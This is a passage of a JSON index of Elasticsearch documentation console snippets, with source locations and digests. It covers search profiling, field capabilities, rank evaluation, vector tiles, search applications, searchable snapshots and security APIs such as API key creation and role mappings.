\"number_of_shards\": 2, <1>\n \"number_of_replicas\": 1\n },\n \"mappings\": {\n \"properties\": {\n \"my-keyword\": { \"type\": \"keyword\" }\n }\n }\n}\n\nPOST my-dfs-index/_bulk?refresh=true\n{ \"index\" : { \"_id\" : \"1\" } }\n{ \"my-keyword\" : \"a\" }\n{ \"index\" : { \"_id\" : \"2\" } }\n{ \"my-keyword\" : \"b\" }"}, {"source_location":{"file":"search/profile.asciidoc","line":1181},"digest":"b6e385760e036e36827f719b540d9c11","lang":"console","found":["ruby"],"source":"GET /my-dfs-index/_search?search_type=dfs_query_then_fetch&pretty&size=0 <1>\n{\n \"profile\": true, <2>\n \"query\": {\n \"term\": {\n \"my-keyword\": {\n \"value\": \"a\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":1204},"digest":"6ef93f300fa4465ad884f4ae5ac030a1","lang":"console-result","found":[],"source":"\"dfs\" : {\n \"statistics\" : {\n \"type\" : \"statistics\",\n \"description\" : \"collect term statistics\",\n \"time_in_nanos\" : 236955,\n \"breakdown\" : {\n \"term_statistics\" : 4815,\n \"collection_statistics\" : 27081,\n \"collection_statistics_count\" : 1,\n \"create_weight\" : 153278,\n \"term_statistics_count\" : 1,\n \"rewrite_count\" : 0,\n \"create_weight_count\" : 1,\n \"rewrite\" : 0\n }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":1243},"digest":"7ebeb6cf26be5b5ecdfd408bd0fc3215","lang":"console","found":["ruby"],"source":"PUT my-knn-index\n{\n \"mappings\": {\n \"properties\": {\n \"my-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"index\": true,\n \"similarity\": \"l2_norm\"\n }\n }\n }\n}\n\nPOST my-knn-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"my-vector\": [1, 5, -20] }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"my-vector\": [42, 8, -15] }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"my-vector\": [15, 11, 23] }"}, {"source_location":{"file":"search/profile.asciidoc","line":1270},"digest":"49e8773a34fcbf825de38426cff5509c","lang":"console","found":["ruby"],"source":"POST my-knn-index/_search\n{\n \"profile\": true, <1>\n \"knn\": {\n \"field\": \"my-vector\",\n \"query_vector\": [-5, 9, -12],\n \"k\": 3,\n \"num_candidates\": 100\n }\n}"}, {"source_location":{"file":"search/field-caps.asciidoc","line":13},"digest":"38f7739f750f1411bccf511a0abaaea3","lang":"console","found":["ruby"],"source":"GET /_field_caps?fields=rating"}, {"source_location":{"file":"search/field-caps.asciidoc","line":186},"digest":"9200ed8d5f798a158def4c526e41269e","lang":"console","found":["ruby"],"source":"GET my-index-000001/_field_caps?fields=rating"}, {"source_location":{"file":"search/field-caps.asciidoc","line":196},"digest":"a985e6b7b2ead9c3f30a9bc97d8b598e","lang":"console","found":["ruby"],"source":"GET _field_caps?fields=rating,title"}, {"source_location":{"file":"search/field-caps.asciidoc","line":203},"digest":"bbaaf55104fc069818053c1a40261613","lang":"console-result","found":[],"source":"{\n \"indices\": [ \"index1\", \"index2\", \"index3\", \"index4\", \"index5\" ],\n \"fields\": {\n \"rating\": { <1>\n \"long\": {\n \"metadata_field\": false,\n \"searchable\": true,\n \"aggregatable\": false,\n \"indices\": [ \"index1\", \"index2\" ],\n \"non_aggregatable_indices\": [ \"index1\" ] <2>\n },\n \"keyword\": {\n \"metadata_field\": false,\n \"searchable\": false,\n \"aggregatable\": true,\n \"indices\": [ \"index3\", \"index4\" ],\n \"non_searchable_indices\": [ \"index4\" ] <3>\n }\n },\n \"title\": { <4>\n \"text\": {\n \"metadata_field\": false,\n \"searchable\": true,\n \"aggregatable\": false\n }\n }\n }\n}"}, {"source_location":{"file":"search/field-caps.asciidoc","line":246},"digest":"4e931cfac74e46e221cf4a9ab88a182d","lang":"console","found":["ruby"],"source":"GET _field_caps?fields=rating,title&include_unmapped"}, {"source_location":{"file":"search/field-caps.asciidoc","line":254},"digest":"9fe6fd5265c27dd532f402e940e0808c","lang":"console-result","found":[],"source":"{\n \"indices\": [ \"index1\", \"index2\", \"index3\" ],\n \"fields\": {\n \"rating\": {\n \"long\": {\n \"metadata_field\": false,\n \"searchable\": true,\n \"aggregatable\": false,\n \"indices\": [ \"index1\", \"index2\" ],\n \"non_aggregatable_indices\": [ \"index1\" ]\n },\n \"keyword\": {\n \"metadata_field\": false,\n \"searchable\": false,\n \"aggregatable\": true,\n \"indices\": [ \"index3\", \"index4\" ],\n \"non_searchable_indices\": [ \"index4\" ]\n },\n \"unmapped\": { <1>\n \"metadata_field\": false,\n \"indices\": [ \"index5\" ],\n \"searchable\": false,\n \"aggregatable\": false\n }\n },\n \"title\": {\n \"text\": {\n \"metadata_field\": false,\n \"indices\": [ \"index1\", \"index2\", \"index3\", \"index4\" ],\n \"searchable\": true,\n \"aggregatable\": false\n },\n \"unmapped\": { <2>\n \"metadata_field\": false,\n \"indices\": [ \"index5\" ],\n \"searchable\": false,\n \"aggregatable\": false\n }\n }\n }\n}"}, {"source_location":{"file":"search/field-caps.asciidoc","line":305},"digest":"91c01fcad9bf341d039a15dfc593dcd7","lang":"console","found":["ruby"],"source":"POST my-index-*/_field_caps?fields=rating\n{\n \"index_filter\": {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"2018\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/rank-eval.asciidoc","line":257},"digest":"faf7d8b9827cf5c0db5c177f01dc31c4","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_rank_eval\n{\n \"requests\": [\n {\n \"id\": \"JFK query\",\n \"request\": { \"query\": { \"match_all\": {} } },\n \"ratings\": []\n } ],\n \"metric\": {\n \"precision\": {\n \"k\": 20,\n \"relevant_rating_threshold\": 1,\n \"ignore_unlabeled\": false\n }\n }\n}"}, {"source_location":{"file":"search/rank-eval.asciidoc","line":312},"digest":"0f4583c56cfe5bd59eeb35bfba02957c","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_rank_eval\n{\n \"requests\": [\n {\n \"id\": \"JFK query\",\n \"request\": { \"query\": { \"match_all\": {} } },\n \"ratings\": []\n } ],\n \"metric\": {\n \"recall\": {\n \"k\": 20,\n \"relevant_rating_threshold\": 1\n }\n }\n}"}, {"source_location":{"file":"search/rank-eval.asciidoc","line":353},"digest":"f2ec53c0ef5025de8890d0ff8ec287a0","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_rank_eval\n{\n \"requests\": [\n {\n \"id\": \"JFK query\",\n \"request\": { \"query\": { \"match_all\": {} } },\n \"ratings\": []\n } ],\n \"metric\": {\n \"mean_reciprocal_rank\": {\n \"k\": 20,\n \"relevant_rating_threshold\": 1\n }\n }\n}"}, {"source_location":{"file":"search/rank-eval.asciidoc","line":397},"digest":"bcae0f00ae1e6f08fa395ca741fe84f9","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_rank_eval\n{\n \"requests\": [\n {\n \"id\": \"JFK query\",\n \"request\": { \"query\": { \"match_all\": {} } },\n \"ratings\": []\n } ],\n \"metric\": {\n \"dcg\": {\n \"k\": 20,\n \"normalize\": false\n }\n }\n}"}, {"source_location":{"file":"search/rank-eval.asciidoc","line":453},"digest":"c1ad9ff64728a5bfeeb485e60ec694a1","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_rank_eval\n{\n \"requests\": [\n {\n \"id\": \"JFK query\",\n \"request\": { \"query\": { \"match_all\": {} } },\n \"ratings\": []\n } ],\n \"metric\": {\n \"expected_reciprocal_rank\": {\n \"maximum_relevance\": 3,\n \"k\": 20\n }\n }\n}"}, {"source_location":{"file":"search/search-vector-tile-api.asciidoc","line":33},"digest":"34be27141e3a476c138546190101c8bc","lang":"console","found":[],"source":"GET my-index/_mvt/my-geo-field/15/5271/12710"}, {"source_location":{"file":"search/search-vector-tile-api.asciidoc","line":114},"digest":"9a49b7572d571e00e20dbebdd30f9368","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"size\": 10000,\n \"query\": {\n \"geo_bounding_box\": {\n \"my-geo-field\": {\n \"top_left\": {\n \"lat\": -40.979898069620134,\n \"lon\": -45\n },\n \"bottom_right\": {\n \"lat\": -66.51326044311186,\n \"lon\": 0\n }\n }\n }\n },\n \"aggregations\": {\n \"grid\": {\n \"geotile_grid\": {\n \"field\": \"my-geo-field\",\n \"precision\": 11,\n \"size\": 65536,\n \"bounds\": {\n \"top_left\": {\n \"lat\": -40.979898069620134,\n \"lon\": -45\n },\n \"bottom_right\": {\n \"lat\": -66.51326044311186,\n \"lon\": 0\n }\n }\n }\n },\n \"bounds\": {\n \"geo_bounds\": {\n \"field\": \"my-geo-field\",\n \"wrap_longitude\": false\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-vector-tile-api.asciidoc","line":666},"digest":"db773f690edf659ac9b044dc854c77eb","lang":"console","found":["ruby"],"source":"PUT museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n },\n \"name\": {\n \"type\": \"keyword\"\n },\n \"price\": {\n \"type\": \"long\"\n },\n \"included\": {\n \"type\": \"boolean\"\n }\n }\n }\n}\n\nPOST museums/_bulk?refresh\n{ \"index\": { \"_id\": \"1\" } }\n{ \"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\", \"price\": 1750, \"included\": true }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\", \"price\": 1500, \"included\": false }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\", \"price\":1650, \"included\": true }\n{ \"index\": { \"_id\": \"4\" } }\n{ \"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Amsterdam Centre for Architecture\", \"price\":0, \"included\": true }"}, {"source_location":{"file":"search/search-vector-tile-api.asciidoc","line":702},"digest":"b88a2d96da1401d548a4540cca223d27","lang":"console","found":[],"source":"GET museums/_mvt/location/13/4207/2692\n{\n \"grid_agg\": \"geotile\",\n \"grid_precision\": 2,\n \"fields\": [\n \"name\",\n \"price\"\n ],\n \"query\": {\n \"term\": {\n \"included\": true\n }\n },\n \"aggs\": {\n \"min_price\": {\n \"min\": {\n \"field\": \"price\"\n }\n },\n \"max_price\": {\n \"max\": {\n \"field\": \"price\"\n }\n },\n \"avg_price\": {\n \"avg\": {\n \"field\": \"price\"\n }\n }\n }\n}"}, {"source_location":{"file":"search-application/apis/put-search-application.asciidoc","line":148},"digest":"41fd33a293a575bd71a1fac7bcc8b47c","lang":"console","found":[],"source":"PUT _application/search_application/my-app\n{\n \"indices\": [ \"index1\", \"index2\" ],\n \"template\": {\n \"script\": {\n \"source\": {\n \"query\": {\n \"query_string\": {\n \"query\": \"{{query_string}}\",\n \"default_field\": \"{{default_field}}\"\n }\n }\n },\n \"params\": {\n \"query_string\": \"*\",\n \"default_field\": \"*\"\n }\n },\n \"dictionary\": {\n \"properties\": {\n \"query_string\": {\n \"type\": \"string\"\n },\n \"default_field\": {\n \"type\": \"string\",\n \"enum\": [\n \"title\",\n \"description\"\n ]\n },\n \"additionalProperties\": false\n },\n \"required\": [\n \"query_string\"\n ]\n }\n }\n}"}, {"source_location":{"file":"search-application/apis/put-search-application.asciidoc","line":197},"digest":"b47945c7db8868dd36ba079b742f2a90","lang":"console","found":[],"source":"POST _application/search_application/my-app/_search\n{\n \"params\": {\n \"default_field\": \"author\",\n \"query_string\": \"Jane\"\n }\n}"}, {"source_location":{"file":"search-application/apis/get-search-application.asciidoc","line":88},"digest":"bde74dbbcef8ebf8541cae2c1711255f","lang":"console","found":[],"source":"GET _application/search_application/my-app/"}, {"source_location":{"file":"search-application/apis/get-search-application.asciidoc","line":95},"digest":"87bae21c46fa7322b70a658dd70e3a36","lang":"console-result","found":[],"source":"{\n \"name\": \"my-app\",\n \"indices\": [ \"index1\", \"index2\" ],\n \"updated_at_millis\": 1682105622204,\n \"template\": {\n \"script\": {\n \"source\": {\n \"query\": {\n \"query_string\": {\n \"query\": \"{{query_string}}\",\n \"default_field\": \"{{default_field}}\"\n }\n }\n },\n \"lang\": \"mustache\",\n \"options\": {\n \"content_type\": \"application/json;charset=utf-8\"\n },\n \"params\": {\n \"query_string\": \"*\",\n \"default_field\": \"*\"\n }\n }\n }\n}"}, {"source_location":{"file":"search-application/apis/list-search-applications.asciidoc","line":94},"digest":"10f7a2c0a952ba3bc3d20b7d5f310f41","lang":"console","found":[],"source":"GET _application/search_application/"}, {"source_location":{"file":"search-application/apis/list-search-applications.asciidoc","line":101},"digest":"5b0cc9e186a8f765a11141809b8b17b7","lang":"console","found":[],"source":"GET _application/search_application?from=0&size=3&q=app*"}, {"source_location":{"file":"search-application/apis/list-search-applications.asciidoc","line":108},"digest":"24ec48419e313ca120576ff4582b2d8d","lang":"console-result","found":[],"source":"{\n \"count\": 2,\n \"results\": [\n {\n \"name\": \"app-1\",\n \"updated_at_millis\": 1690981129366\n },\n {\n \"name\": \"app-2\",\n \"updated_at_millis\": 1691501823939\n }\n ]\n}"}, {"source_location":{"file":"search-application/apis/delete-search-application.asciidoc","line":70},"digest":"afbea723c4ba0d50c67d04ebb73a4101","lang":"console","found":[],"source":"DELETE _application/search_application/my-app/"}, {"source_location":{"file":"search-application/apis/search-application-search.asciidoc","line":120},"digest":"4f08d9e21d9f199acc77abfb83287878","lang":"console","found":[],"source":"POST _application/search_application/my-app/_search\n{\n \"params\": {\n \"query_string\": \"my first query\",\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 5},\n {\"name\": \"description\", \"boost\": 1}\n ]\n }\n}"}, {"source_location":{"file":"search-application/apis/search-application-search.asciidoc","line":136},"digest":"8a3da9cbfaf511dcb6579766035907da","lang":"console-result","found":[],"source":"{\n \"from\": 0,\n \"size\": 10,\n \"query\": {\n \"multi_match\": {\n \"query\": \"my first query\",\n \"fields\": [\n \"description^1.0\",\n \"title^5.0\"\n ]\n }\n },\n \"explain\": false\n}"}, {"source_location":{"file":"search-application/apis/search-application-search.asciidoc","line":161},"digest":"b692072774747ff2c46335ef85d5ec83","lang":"console-result","found":[],"source":"{\n \"took\": 5,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.8630463,\n \"hits\": ...\n }\n}"}, {"source_location":{"file":"search-application/apis/search-application-render-query.asciidoc","line":114},"digest":"0dfde6a9d953822fd4b3aa0121ddd8fb","lang":"console","found":[],"source":"POST _application/search_application/my-app/_render_query\n{\n \"params\": {\n \"query_string\": \"my first query\",\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 5},\n {\"name\": \"description\", \"boost\": 1}\n ]\n }\n}"}, {"source_location":{"file":"search-application/apis/search-application-render-query.asciidoc","line":130},"digest":"8a3da9cbfaf511dcb6579766035907da","lang":"console-result","found":[],"source":"{\n \"from\": 0,\n \"size\": 10,\n \"query\": {\n \"multi_match\": {\n \"query\": \"my first query\",\n \"fields\": [\n \"description^1.0\",\n \"title^5.0\"\n ]\n }\n },\n \"explain\": false\n}"}, {"source_location":{"file":"searchable-snapshots/apis/mount-snapshot.asciidoc","line":123},"digest":"fc49437ce2e7916facf58128308c2aa3","lang":"console","found":[],"source":"POST /_snapshot/my_repository/my_snapshot/_mount?wait_for_completion=true\n{\n \"index\": \"my_docs\", <1>\n \"renamed_index\": \"docs\", <2>\n \"index_settings\": { <3>\n \"index.number_of_replicas\": 0\n },\n \"ignore_index_settings\": [ \"index.refresh_interval\" ] <4>\n}"}, {"source_location":{"file":"searchable-snapshots/apis/node-cache-stats.asciidoc","line":98},"digest":"aab3de5a8a3fefbe012fc2ed50dfe4d6","lang":"console","found":["ruby"],"source":"GET /_searchable_snapshots/cache/stats"}, {"source_location":{"file":"searchable-snapshots/apis/node-cache-stats.asciidoc","line":106},"digest":"f38b05bf148c7880ce050832548b66fc","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"eerrtBMtQEisohZzxBLUSw\" : {\n \"shared_cache\" : {\n \"reads\" : 6051,\n \"bytes_read_in_bytes\" : 5448829,\n \"writes\" : 37,\n \"bytes_written_in_bytes\" : 1208320,\n \"evictions\" : 5,\n \"num_regions\" : 65536,\n \"size_in_bytes\" : 1099511627776,\n \"region_size_in_bytes\" : 16777216\n }\n }\n }\n}"}, {"source_location":{"file":"searchable-snapshots/apis/shard-stats.asciidoc","line":73},"digest":"84c61160ca815e29e9973ba1380219dd","lang":"console","found":["ruby"],"source":"GET /my-index/_searchable_snapshots/stats"}, {"source_location":{"file":"searchable-snapshots/apis/clear-cache.asciidoc","line":69},"digest":"6fc778e9a888b16b937c5c2a7a1ec140","lang":"console","found":["ruby"],"source":"POST /my-index/_searchable_snapshots/cache/clear"}, {"source_location":{"file":"rest-api/security/authenticate.asciidoc","line":35},"digest":"55f4a15b84b724b9fbf2efd29a4da120","lang":"console","found":[],"source":"GET /_security/_authenticate"}, {"source_location":{"file":"rest-api/security/authenticate.asciidoc","line":42},"digest":"854f0b3b23758cc0fa19cf6af278e1d2","lang":"console-result","found":[],"source":"{\n \"username\": \"rdeniro\",\n \"roles\": [\n \"admin\"\n ],\n \"full_name\": null,\n \"email\": null,\n \"metadata\": { },\n \"enabled\": true,\n \"authentication_realm\": {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\": {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\": \"realm\"\n}"}, {"source_location":{"file":"rest-api/security/change-password.asciidoc","line":70},"digest":"9410af79177dd1df9b7b16229a581e18","lang":"console","found":[],"source":"POST /_security/user/jacknich/_password\n{\n \"password\" : \"new-test-password\"\n}"}, {"source_location":{"file":"rest-api/security/change-password.asciidoc","line":81},"digest":"782a8820be17669905206e46d2c25178","lang":"console-result","found":[],"source":"{}"}, {"source_location":{"file":"rest-api/security/clear-cache.asciidoc","line":54},"digest":"a5e2b3588258430f2e595abda98e3943","lang":"console","found":[],"source":"POST /_security/realm/default_file/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-cache.asciidoc","line":61},"digest":"c1409f591a01589638d9b00436ce42c0","lang":"console","found":[],"source":"POST /_security/realm/default_file/_clear_cache?usernames=rdeniro,alpacino"}, {"source_location":{"file":"rest-api/security/clear-cache.asciidoc","line":69},"digest":"00272f75a6afea91f8554ef7cda0c1f2","lang":"console","found":[],"source":"POST /_security/realm/default_file,ldap1/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-cache.asciidoc","line":76},"digest":"073864d3f52f8f79aafdaa85a88ac46a","lang":"console","found":[],"source":"POST /_security/realm/*/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-roles-cache.asciidoc","line":42},"digest":"ee577c4c7cc723e99569ea2d1137adba","lang":"console","found":[],"source":"POST /_security/role/my_admin_role/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-roles-cache.asciidoc","line":49},"digest":"87c3e9963400a3e4b296ef8d1c86fae3","lang":"console","found":[],"source":"POST /_security/role/my_admin_role,my_test_role/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-roles-cache.asciidoc","line":56},"digest":"1e3553a73da487017f7a95088b6aa957","lang":"console","found":[],"source":"POST /_security/role/*/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-privileges-cache.asciidoc","line":43},"digest":"f6df4acf3c7a4f85706ff314b21ebcb2","lang":"console","found":[],"source":"POST /_security/privilege/myapp/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-privileges-cache.asciidoc","line":50},"digest":"f3fb3cba44988b6e9fee93316138b2cf","lang":"console","found":[],"source":"POST /_security/privilege/myapp,my-other-app/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-privileges-cache.asciidoc","line":57},"digest":"9a09d33ec11e20b6081cae882282ca60","lang":"console","found":[],"source":"POST /_security/privilege/*/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-api-key-cache.asciidoc","line":43},"digest":"f66643c54999426c5afa6d5a87435d4e","lang":"console","found":[],"source":"POST /_security/api_key/yVGMr3QByxdh1MSaicYx/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-api-key-cache.asciidoc","line":50},"digest":"49c052a748c943180db78fee8e144239","lang":"console","found":[],"source":"POST /_security/api_key/yVGMr3QByxdh1MSaicYx,YoiMaqREw0YVpjn40iMg/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-api-key-cache.asciidoc","line":57},"digest":"bd6f30e3caa3632260da42d9ff82c98c","lang":"console","found":[],"source":"POST /_security/api_key/*/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-service-token-caches.asciidoc","line":55},"digest":"da18bae37cda566c0254b30c15221b01","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token/token1/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-service-token-caches.asciidoc","line":62},"digest":"eafdabe80b21b90495555fa6d9089412","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token/token1,token2/_clear_cache"}, {"source_location":{"file":"rest-api/security/clear-service-token-caches.asciidoc","line":70},"digest":"f656c1e64268293ecc8ebd8065628faa","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token/*/_clear_cache"}, {"source_location":{"file":"rest-api/security/create-api-keys.asciidoc","line":128},"digest":"4a4b8a406681584a91c0e614c1fa4344","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key\",\n \"expiration\": \"1d\", <1>\n \"role_descriptors\": { <2>\n \"role-a\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-a*\"],\n \"privileges\": [\"read\"]\n }\n ]\n },\n \"role-b\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-b*\"],\n \"privileges\": [\"all\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"application\": \"my-application\",\n \"environment\": {\n \"level\": 1,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-api-keys.asciidoc","line":172},"digest":"c998a7ff6ea618f1a7451fc9a9926d39","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\", <1>\n \"name\": \"my-api-key\",\n \"expiration\": 1544068612110, <2>\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\", <3>\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\" <4>\n}"}, {"source_location":{"file":"rest-api/security/create-api-keys.asciidoc","line":220},"digest":"1b076ceb1ead9f6897c2f351f0e45f74","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-restricted-api-key\",\n \"role_descriptors\": {\n \"my-restricted-role-descriptor\": {\n \"indices\": [\n {\n \"names\": [\"my-search-app\"],\n \"privileges\": [\"read\"]\n }\n ],\n \"restriction\": {\n \"workflows\": [\"search_application_query\"]\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/put-app-privileges.asciidoc","line":88},"digest":"4ee31fd4ea6d18f32ec28b7fa433441d","lang":"console","found":[],"source":"PUT /_security/privilege\n{\n \"myapp\": {\n \"read\": {\n \"actions\": [ <1>\n \"data:read/*\" , <2>\n \"action:login\" ],\n \"metadata\": { <3>\n \"description\": \"Read access to myapp\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/put-app-privileges.asciidoc","line":114},"digest":"81a9dd74f26c4b89341cac7ebeb4c0e6","lang":"console-result","found":[],"source":"{\n \"myapp\": {\n \"read\": {\n \"created\": true <1>\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/put-app-privileges.asciidoc","line":130},"digest":"ee90d1fb22b59d30da339d825303b912","lang":"console","found":[],"source":"PUT /_security/privilege\n{\n \"app01\": {\n \"read\": {\n \"actions\": [ \"action:login\", \"data:read/*\" ]\n },\n \"write\": {\n \"actions\": [ \"action:login\", \"data:write/*\" ]\n }\n },\n \"app02\": {\n \"all\": {\n \"actions\": [ \"*\" ]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/put-app-privileges.asciidoc","line":153},"digest":"7269308683a9eb4ef6420e918391b791","lang":"console-result","found":[],"source":"{\n \"app02\": {\n \"all\": {\n \"created\": true\n }\n },\n \"app01\": {\n \"read\": {\n \"created\": true\n },\n \"write\": {\n \"created\": true\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":113},"digest":"23b062c157235246d7c347b9047b2435","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping1\n{\n \"roles\": [ \"user\"],\n \"enabled\": true, <1>\n \"rules\": {\n \"field\" : { \"username\" : \"*\" }\n },\n \"metadata\" : { <2>\n \"version\" : 1\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":134},"digest":"cf8cff0fb254f0e1009a01651b1526e9","lang":"console-result","found":[],"source":"{\n \"role_mapping\" : {\n \"created\" : true <1>\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":147},"digest":"b176e0d428726705298184ef39ad5cb2","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping2\n{\n \"roles\": [ \"user\", \"admin\" ],\n \"enabled\": true,\n \"rules\": {\n \"field\" : { \"username\" : [ \"esadmin01\", \"esadmin02\" ] }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":160},"digest":"e60b7f75ca806f2c74927c3d9409a986","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping3\n{\n \"roles\": [ \"ldap-user\" ],\n \"enabled\": true,\n \"rules\": {\n \"field\" : { \"realm.name\" : \"ldap1\" }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":175},"digest":"7a23a385a63c87cab58fd494870450fd","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping4\n{\n \"roles\": [ \"superuser\" ],\n \"enabled\": true,\n \"rules\": {\n \"any\": [\n {\n \"field\": {\n \"username\": \"esadmin\"\n }\n },\n {\n \"field\": {\n \"groups\": \"cn=admins,dc=example,dc=com\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":206},"digest":"0c6fc67c2dd1c1771cd866ce471d74e1","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping4\n{\n \"roles\": [ \"superuser\" ],\n \"enabled\": true,\n \"rules\": {\n \"any\": [\n {\n \"field\": {\n \"username\": \"esadmin\"\n }\n },\n {\n \"field\": {\n \"groups\": [\n \"cn=admins,dc=example,dc=com\",\n \"cn=other,dc=example,dc=com\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":246},"digest":"5ad365ed9e1a3c26093a0f09666c133a","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping5\n{\n \"role_templates\": [\n {\n \"template\": { \"source\": \"{{#tojson}}groups{{/tojson}}\" }, <1>\n \"format\" : \"json\" <2>\n }\n ],\n \"rules\": {\n \"field\" : { \"realm.name\" : \"saml1\" }\n },\n \"enabled\": true\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":269},"digest":"7e5faa551f2c95ffd627da352563d450","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping6\n{\n \"roles\": [ \"example-user\" ],\n \"enabled\": true,\n \"rules\": {\n \"field\" : { \"dn\" : \"*,ou=subtree,dc=example,dc=com\" }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":284},"digest":"b80e1f5b26bae4f3c2f8a604b7caaf17","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping7\n{\n \"roles\": [ \"ldap-example-user\" ],\n \"enabled\": true,\n \"rules\": {\n \"all\": [\n { \"field\" : { \"dn\" : \"*,ou=subtree,dc=example,dc=com\" } },\n { \"field\" : { \"realm.name\" : \"ldap1\" } }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":308},"digest":"0d94d76b7f00d0459d1f8c962c144dcd","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping8\n{\n \"roles\": [ \"superuser\" ],\n \"enabled\": true,\n \"rules\": {\n \"all\": [\n {\n \"any\": [\n {\n \"field\": {\n \"dn\": \"*,ou=admin,dc=example,dc=com\"\n }\n },\n {\n \"field\": {\n \"username\": [ \"es-admin\", \"es-system\" ]\n }\n }\n ]\n },\n {\n \"field\": {\n \"groups\": \"cn=people,dc=example,dc=com\"\n }\n },\n {\n \"except\": {\n \"field\": {\n \"metadata.terminated_date\": null\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/security/create-role-mappings.asciidoc","line":358},"digest":"50dc35d3d8705bd62aed20a15209476c","lang":"console","found":[],"source":"POST /_security/role_mapping/mapping9\n{\n \"rules\": { \"field\": { \"realm.name\": \"cloud-saml\" } },\n \"role_templates\": [\n { \"template\": { \"source\" : \"saml_user\" } }, <1>\n { \"template\": { \"source\" : \"_user_{{username}}\" } }\n ],\n \"enabled\": true\n}"}, {"source_location":{"file":"rest-api/security/create-roles.asciidoc","line":104},"digest":"850a6d4aaf112ec1279260a2b7400a89","lang":"console","found":[],"source":"POST /_security/role/my_admin_role\n{\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [ \"index1\", \"index2\" ],\n \"privileges\": [\"all\"],\n \"field_security\" : { // optional\n \"grant\" : [ \"title\", \"body\" ]\n },\n \"query\": \"{\\\"match\\\": {\\\"title\\\": 